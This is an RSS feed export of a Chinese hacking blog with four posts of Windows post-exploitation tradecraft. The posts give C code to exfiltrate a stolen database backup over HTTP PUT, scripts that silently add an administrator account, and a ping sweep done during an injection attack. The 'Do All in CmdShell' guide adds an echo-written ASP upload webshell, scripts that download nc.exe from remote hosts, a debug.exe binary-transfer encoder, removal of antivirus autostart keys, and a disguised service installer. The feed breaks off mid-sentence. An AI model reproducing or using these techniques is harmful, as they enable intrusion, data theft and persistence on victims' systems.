<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu`s Blog &#187; CMD</title>
	<atom:link href="http://www.4shell.org/archives/tag/cmd/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Thu, 09 Sep 2010 01:28:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>命令行下的PUT方式上传大文件</title>
		<link>http://www.4shell.org/archives/888.html</link>
		<comments>http://www.4shell.org/archives/888.html#comments</comments>
		<pubDate>Sat, 18 Jul 2009 03:00:30 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/888.html</guid>
		<description><![CDATA[信息来源：邪恶八进制信息安全团队(www.eviloctal.com) 注：文章首发I.S.T.O信息安全团队，后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有，转载需注明作者。 最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序. 代码: #include &#60;winsock2.h&#62; #include &#60;windows.h&#62; #include &#60;stdio.h&#62; #include &#60;wininet.h&#62; #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "wininet.lib") void Usage (char *name);//帮助信息 BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile) { INTERNET_BUFFERS BufferIn = {0}; DWORD dwBytesRead; DWORD dwBytesWritten; BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件 BOOL bRead, bRet; BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS ); [...]]]></description>
			<content:encoded><![CDATA[<p>信息来源：邪恶八进制信息安全团队(www.eviloctal.com)</p>
<p>注：文章首发I.S.T.O信息安全团队，后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有，转载需注明作者。<br />
最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.</p>
<p>代码:</p>
<blockquote><p><code>#include &lt;winsock2.h&gt;<br />
#include &lt;windows.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;wininet.h&gt;<br />
#pragma comment(lib, "ws2_32.lib")<br />
#pragma comment(lib, "wininet.lib")</code></p>
<p>void Usage (char *name);//帮助信息</p>
<p>BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)<br />
{<br />
INTERNET_BUFFERS <span onclick="tagshow(event)">Buffer</span>In = {0};<br />
DWORD dwBytesRead;<br />
DWORD dwBytesWritten;<br />
BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件</p>
<p>BOOL bRead, bRet;</p>
<p>BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );<br />
//使用put方式上传文件:<br />
HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",<br />
localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);<br />
if (!hRequest)<br />
{<br />
printf("Failed to open request handle: %lu\n", GetLastError ());<br />
return FALSE;<br />
}</p>
<p>//打开指定的文件:<br />
HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,<br />
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);<br />
if (hFile == INVALID_HANDLE_VALUE)<br />
{<br />
printf("\nFailed to open local file %s.", upFile);<br />
return FALSE;<br />
}</p>
<p>BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);<br />
printf ("File size is %d\n", BufferIn.dwBufferTotal );</p>
<p>if(!HttpSendRequestEx( hRequest, &amp;BufferIn, NULL, HSR_INITIATE, 0))<br />
{<br />
printf( "Error on HttpSendRequestEx %lu\n",GetLastError() );<br />
return FALSE;<br />
}</p>
<p>DWORD sum = 0;<br />
do<br />
{<br />
if  (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&amp;dwBytesRead, NULL)))<br />
{<br />
printf ("\nReadFile failed on buffer %lu.",GetLastError());<br />
break;<br />
}<br />
if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&amp;dwBytesWritten)))<br />
{<br />
printf ("\nInternetWriteFile failed %lu", GetLastError());<br />
break;<br />
}<br />
sum += dwBytesWritten;<br />
}<br />
while (dwBytesRead == sizeof(pBuffer)) ;</p>
<p>CloseHandle (hFile);<br />
printf ("Actual written bytes: %d\nupload %s successed!\n", sum,localFile);</p>
<p>//结束一个HTTP请求:<br />
if(!HttpEndRequest(hRequest, NULL, 0, 0))<br />
{<br />
printf( "Error on HttpEndRequest %lu \n", GetLastError());<br />
return FALSE;<br />
}<br />
return TRUE;<br />
}</p>
<p>int main(int argc, char **argv)</p>
<p>{<br />
//put 127.0.0.1 /1.db c:\\wmpub\\1.exe<br />
if(argc!=4)<br />
{<br />
Usage(argv[0]);<br />
return 0;<br />
}</p>
<p>//char *ServerName="127.0.0.1"; //这里填写URL地址<br />
char *ServerName=argv[1];</p>
<p>HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式<br />
if(!hSession){<br />
printf("Failed to open InternetOpen\n");<br />
exit(0);<br />
}<br />
//连接到一个http服务:<br />
HINTERNET hConnect = InternetConnect(hSession,<br />
ServerName,<br />
INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53<br />
NULL,<br />
NULL,<br />
INTERNET_SERVICE_HTTP, //服务类型HTTP，FTP或Gopher<br />
0,<br />
1);</p>
<p>if(!hConnect)<br />
{<br />
printf("error InternetConnect\n");<br />
return 0;<br />
}</p>
<p>//TCHAR *putfile="c:\\wmpub\\1.exe"; //上传的程序<br />
TCHAR *putfile=argv[3];<br />
TCHAR *putlocalfile=argv[2];<br />
BOOL sigh;<br />
sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);<br />
if(!sigh)<br />
{<br />
printf("error UseHttpSendReqEx\n");<br />
return 0;<br />
}</p>
<p>return 0;<br />
}</p>
<p>//输出帮助的典型方法:<br />
void Usage (char *name)<br />
{<br />
fprintf(stderr,"===============================================================================\n"<br />
"\t名称：利用PUT上传300M的大文件\n"<br />
"\t环境：Win2003+Visual C++ 6.0\n"<br />
"\t作者：pt007@vip.sina.com\n"<br />
"\tQQ：  7491805\n"<br />
"\t声明：本软件由pt007原创，转载请注明出处，谢谢!\n"<br />
"\t使用说明:1.db为上传后保存后的文件,c:\\wmpub\\1.exe为本地要上传的大文件,\n\t需要<span onclick="tagshow(event)">IIS</span>里面设置允许写入!\n"<br />
"\t例子:%s 192.168.1.101 /1.db c:\\wmpub\\1.exe\n"<br />
"===============================================================================\n",name);<br />
}</p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li>
<li><a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li>
<li><a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/888.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>命令行下一种新的加帐号的方法</title>
		<link>http://www.4shell.org/archives/878.html</link>
		<comments>http://www.4shell.org/archives/878.html#comments</comments>
		<pubDate>Wed, 15 Jul 2009 14:58:58 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=878</guid>
		<description><![CDATA[作者：lcx 今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下： js: var o=new ActiveXObject( "Shell.Users" ); z=o.create("test") ; z.changePassword("123456","") z.setting("AccountType")=3; vbs: Set o=CreateObject( "Shell.Users" ) Set z=o.create("test") z.changePassword "123456","" z.setting("AccountType")=3 相关文章 命令行下的PUT方式上传大文件 CMD下设置网关 Do All in CmdShell]]></description>
			<content:encoded><![CDATA[<p>作者：<a href="http://hi.baidu.com/myvbscript/blog/item/cfc53df58c68a82cbd3109e8.html" target="_blank">lcx</a></p>
<p>今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：</p>
<p>js:</p>
<blockquote>
<pre><code>var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;</code></pre>
</blockquote>
<p>vbs:</p>
<blockquote>
<pre><code>Set  o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3</code></pre>
</blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li>
<li><a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li>
<li><a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/878.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CMD下设置网关</title>
		<link>http://www.4shell.org/archives/495.html</link>
		<comments>http://www.4shell.org/archives/495.html#comments</comments>
		<pubDate>Wed, 29 Oct 2008 00:51:13 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[网关]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/495.html</guid>
		<description><![CDATA[<p>上次导数据库的时候不幸把这个导丢了,今天刚好注射攻击的时候,那数据库机器没设置网关,那就自己加一个先试试看了,搞不好可以直接上网了,网关的ip不知道,只好写个批处理来探测,看运气咯<br /><br />FOR&#160;/L&#160;%I&#160;in&#160;(1,1,255)&#160;DO&#160;PING&#160;192.168.1.%I&#160;-n&#160;1&#160;-w&#160;100&#160;&#62;&#62;&#160;c:\ping.txt</p>...
]]></description>
			<content:encoded><![CDATA[<p>上次导数据库的时候不幸把这个导丢了,今天刚好注射攻击的时候,那数据库机器没设置网关,那就自己加一个先试试看了,搞不好可以直接上网了,网关的ip不知道,只好写个批处理来探测,看运气咯</p>
<p>FOR&nbsp;/L&nbsp;%I&nbsp;in&nbsp;(1,1,255)&nbsp;DO&nbsp;PING&nbsp;192.168.1.%I&nbsp;-n&nbsp;1&nbsp;-w&nbsp;100&nbsp;&gt;&gt;&nbsp;c:\ping.txt</p>
<p>然后查看ping.txt的结果,一台一台测试过去<br />for&nbsp;/l&nbsp;%p&nbsp;in&nbsp;(1,1,254)&nbsp;do&nbsp;@ping&nbsp;192.168.1.%p&nbsp;-n&nbsp;1&nbsp;|find&nbsp;&quot;reply&nbsp;from&quot;&nbsp;/i&nbsp;&nbsp;&gt;&gt;c:\ping.txt</p>
<p>上面这条命令可以把能ping通的机器单独整理出来<br />修改网关的命令如下:<br />cmd&nbsp;/c&nbsp;netsh&nbsp;interface&nbsp;ip&nbsp;set&nbsp;address&nbsp;name=&quot; 本地连 接&quot;&nbsp;source=static&nbsp;addr=192.168.1.100&nbsp;mask=255.255.255.0&nbsp;gateway=192.168.1.1&nbsp;gwmetric=1</p>
<p>修改DNS<br />cmd&nbsp;/c&nbsp;netsh&nbsp;interface&nbsp;ip&nbsp;set&nbsp;dns&nbsp;name=&quot;本地连接&quot;&nbsp;source=static&nbsp;addr=61.134.1.9</p>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li>
<li><a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li>
<li><a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/495.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Do All in CmdShell</title>
		<link>http://www.4shell.org/archives/17.html</link>
		<comments>http://www.4shell.org/archives/17.html#comments</comments>
		<pubDate>Thu, 21 Sep 2006 02:57:12 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/17.html</guid>
		<description><![CDATA[Do All in Cmd Shell (一切尽在命令行)<br/><br/>-------------------------------------------------------<br/>zzzEVAzzz <zzzevazzz@126.com><br/><a href="http://www.isgrey.com"  target="_blank">http://www.isgrey.com</a><br/>2004-04-24<br/>-------------------------------------------------------<br/><br/><br/>目录<br/>1，前言<br/>2，文件传输<br/>3，系统配置<br/>4，网络配置<br/>5，软件安装<br/>6，Windows脚本<br/>7，附言<br/>
]]></description>
			<content:encoded><![CDATA[<p>Do All in Cmd Shell (一切尽在命令行)<br/><br/>-------------------------------------------------------<br/>zzzEVAzzz <zzzevazzz@126.com><br/><a href="http://www.isgrey.com"  target="_blank">http://www.isgrey.com</a><br/>2004-04-24<br/>-------------------------------------------------------<br/><br/><br/>目录<br/>1，前言<br/>2，文件传输<br/>3，系统配置<br/>4，网络配置<br/>5，软件安装<br/>6，Windows脚本<br/>7，附言<br/><br/><br/>前言<br/>Cmd Shell(命令行交互)是黑客永恒的话题，它历史悠久并且长盛不衰。<br/>本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。<br/><br/><br/>文件传输<br/>对于溢出漏洞获得的cmd shell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护，通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法，介于其已被大家熟知，本文就不介绍了。还有三种大家熟悉的办法，作为总结我再提一下：<br/><br/>1，用Echo命令写ASP木马。<br/>前提当然是目标主机上已经安装了IIS。<br/>一般的ASP木马"体积"较大，不适合直接用echo命令写入文件，这里我提供一个小巧的。<br/>直接给出echo版：<br/><br/>@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp<br/><br/>注意，只有一行，中间没有回车符。<br/>生成的up.asp不能用浏览器访问，只能用下面这个脚本：<br/><br/>with wscript<br/>if .arguments.count<3 then .quit<br/>url=.arguments(0)&#038;"?s="&#038;.arguments(2)<br/>fn=.arguments(1)<br/>end with<br/>with createobject("adodb.stream")<br/>.type=1:.open:.loadfromfile fn:s=.read:.close<br/>end with<br/>with createobject("microsoft.xmlhttp")<br/>.open "post",url,false:.send s<br/>wscript.echo .statustext<br/>end with<br/><br/>将其保存为up.vbs。假设目标IP为123.45.67.89，up.asp在IIS虚拟根目录下，需要上传的文件为nc.exe，上传后保存为mm.exe，相应的命令是：<br/><br/>cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe<br/><br/>注意，这个命令是在本地命令行中执行的，不要弄错了。<br/><br/>另外，通过IIS上传会留日志，要记得清除哦。<br/><br/>2，自动下载到网页缓存中。<br/>例如：<br/><br/>start its:http://www.sometips.com/soft/ps.exe<br/><br/>在远程shell中执行上面这个命令后，ps.exe已经下载到目标主机的网页缓存目录中了。然后：<br/><br/>cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"<br/>dir /s ps[1].exe<br/><br/>于是获得ps.exe的具体位置(每台主机都不一样)，如：<br/><br/>C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录<br/><br/>2004-01-24 14:24 49,152 ps[1].exe<br/>1 个文件 49,152 字节<br/><br/>最后：<br/>copy AB094JIT\ps[1].exe c:\path\ps.exe<br/>del AB094JIT\ps[1].exe<br/><br/>补充说明：<br/>对于以服务为启动方式的后门所提供的shell，其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System，需要修改Default User为相应的用户名。<br/>本方法会启动一个IE进程，记得要将它杀掉。如果是System身份的shell，不会在本地出现窗口而暴露。<br/>另外，用ms-its代替its效果完全一样。<br/><br/>3，Echo一个脚本下载web资源。<br/>现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。<br/>仍然是echo版：<br/><br/>@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs<br/>@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs<br/>@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs<br/>@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs<br/><br/>举例——下载ps.exe并保存到c:\path下：<br/><br/>cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe<br/><br/>注意，这是在远程shell中执行的。<br/><br/>4，Echo经过编码的任何文件，再用脚本+debug还原。<br/>前面两个办法都不能保证穿过防火墙。而且，除非自己架Web服务器，一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具，还是没辙。那么只有出"杀手锏"了！<br/><br/>echo命令加重定向操作符可以写入ASCII码小于128的字符，但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符，才能方便地写入远程主机。首先能想到的就是base64编码，即email附件的编码方式。但vbs不支持位操作，因此编码和解码较复杂。更麻烦的是，脚本以二进制流方式处理文件的能力很差。（ADODB.Stream可以以流方式写文件，但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串，但反过来不行。我花了两天时间，还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中，恳请赐教。）<br/><br/>无奈只有请debug.exe出马了。原理很多人都知道，我不介绍了，直接给出成果——编码脚本：<br/><br/>fp=wscript.arguments(0)<br/>fn=right(fp,len(fp)-instrrev(fp,"\"))<br/>with createobject("adodb.stream")<br/>.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)<br/>end with<br/>sll=sl mod 65536:slh=sl\65536<br/>with createobject("scripting.filesystemobject").opentextfile(fp&#038;".bat",2,true)<br/>.write "@echo str="""<br/>for i=1 to sl<br/>bt=ascb(midb(str,i,1))<br/>if bt<16 then .write "0"<br/>.write hex(bt)<br/>if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""<br/>next<br/>.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_<br/>+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_<br/>+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"<br/>.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_<br/>+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_<br/>+">>debug.vbs&#038;&cscript //nologo debug.vbs|debug.exe>nul&#038;&ren debug.tmp """&#038;fn&#038;"""&#038;del debug.vbs"<br/>end with<br/><br/>将其保存为echo.vbs。假设要上传nc.exe，那么在本地命令行输入命令：<br/><br/>cscript echo.vbs nc.exe<br/><br/>也可以直接把要传输的文件的图标拖放到脚本文件的图标上。<br/>稍等一会儿，在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它，可以看到如下内容：<br/><br/>@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs<br/>@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs<br/>@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs<br/>@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs<br/>…………<br/>…………（省略若干行）<br/>…………<br/>@echo +"">>debug.vbs<br/>@echo with wscript<br />
.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs<br/>@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&#038;&cscript //nologo debug.vbs|debug.exe>nul&#038;&ren debug.tmp "NC.EXE"&#038;del debug.vbs<br/><br/>全选 －》 复制 －》 切换到远程命令行窗口 －》 粘贴。<br/>如果网速不是很慢的话，整个上传过程大约需要20秒。<br/><br/>几点说明：<br/>1，大的文件传输不稳定，可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。<br/>2，在传输大文件前，可以先传个小的文件作为"热身"，让16位虚拟机ntvdm.exe驻留后台。所有文件传完后，为隐蔽起见，应该把ntvdm进程杀掉。<br/>3，某些cmd shell每个命令都需要附加两个回车，那nc.exe.bat就不能直接用了。<br/>4，单个命令的长度是有限的，所以不能只用一个echo完成全部任务。而且，对于nc提供的cmd shell，稍长一些的命令竟然会使shell自动退出（溢出了？）。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。<br/>5，解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量（因为压缩了数据）。如果有时间，我会写一个更完善的脚本，加强数据压缩能力，增加数据校验功能。<br/><br/>能上传文件当然一切都好办了，但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时，不要忘了Windows本身。<br/><br/><br/>系统配置<br/>这节包括三方面内容：注册表、服务和组策略。<br/><br/>先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。<br/>好在系统自带的regedit.exe足够用了。<br/><br/>1，读取注册表<br/>先将想查询的注册表项导出，再用type查看，比如：<br/><br/>C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"<br/><br/>C:\>type 1.reg | find "PortNumber"<br/>"PortNumber"=dword:00000d3d<br/><br/>C:\>del 1.reg<br/><br/>所以终端服务的端口是3389（十六进制d3d）<br/><br/>2，修改/删除注册表项<br/>先echo一个reg文件，然后导入，比如：<br/><br/>echo Windows Registry Editor Version 5.00 >1.reg<br/>echo. >>1.reg<br/>echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg<br/>echo "TelnetPort"=dword:00000913 >>1.reg<br/>echo "NTLM"=dword:00000001 >>1.reg<br/>echo. >>1.reg<br/>regedit /s 1.reg<br/><br/>将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。<br/><br/>要删除一个项，在名字前面加减号，比如：<br/><br/>[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]<br/><br/>要删除一个值，在等号后面用减号，比如：<br/><br/>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br/>"KAVRun"=-<br/><br/>3，用inf文件访问注册表<br/>上面对注册表的三个操作，也可以用下面这个inf文件来实现：<br/><br/>[Version]<br/>Signature="$WINDOWS NT$"<br/>[DefaultInstall]<br/>AddReg=My_AddReg_Name<br/>DelReg=My_DelReg_Name<br/>[My_AddReg_Name]<br/>HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323<br/>HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1<br/>[My_DelReg_Name]<br/>HKLM,SYSTEM\CurrentControlSet\Services\Serv-U<br/>HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun<br/><br/>将它写入c:\path\reg.inf然后用下面这个命令"安装"：<br/><br/>rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf<br/><br/>几点说明：<br/>1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。<br/>0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。<br/>2323也可以用0x913代替。<br/>关于inf文件的详细信息，可以参考DDK帮助文档。<br/>2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。<br/>128表示给定路径，该参数其他取值及含义参见MSDN。<br/>特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。<br/>3，inf文件中的项目都是大小写不敏感的。<br/><br/><br/>接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，原因后面会提到。还是得靠inf文件出马。<br/><br/>增加一个服务：<br/><br/>[Version]<br/>Signature="$WINDOWS NT$"<br/>[DefaultInstall.Services]<br/>AddService=inetsvr,,My_AddService_Name<br/>[My_AddService_Name]<br/>DisplayName=Windows Internet Service<br/>Description=提供对 Internet 信息服务管理的支持。<br/>ServiceType=0x10<br/>StartType=2<br/>ErrorControl=0<br/>ServiceBinary=%11%\inetsvr.exe<br/><br/>保存为inetsvr.inf，然后：<br/><br/>rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf<br/><br/>这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。<br/><br/>几点说明：<br/>1，最后四项分别是<br/>服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；<br/>启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启动，3 手动启动，4 禁用。<br/>（注意，0和1只能用于驱动程序）<br/>错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。<br/>服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。<br/>这四项是必须要有的。<br/>2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。<br/>3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。<br/><br/>删除一个服务：<br/><br/>[Version]<br/>Signature="$WINDOWS NT$"<br/>[DefaultInstall.Services]<br/>DelService=inetsvr<br/><br/>很简单，不是吗？<br/><br/>当然，你也可以通过导入注册表达到目的。但inf自有其优势。<br/>1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：<br/>"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\<br/>74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\<br/>00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00<br/>可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题，ServiceBinary（即ImagePath）自动成为REG_EXPAND_SZ。<br/>2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。<br/>3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。<br/><br/>另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。<br/><br/><br/>最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。<br/><br/>先看secedit命令语法：<br/>secedit /analyze<b<br />
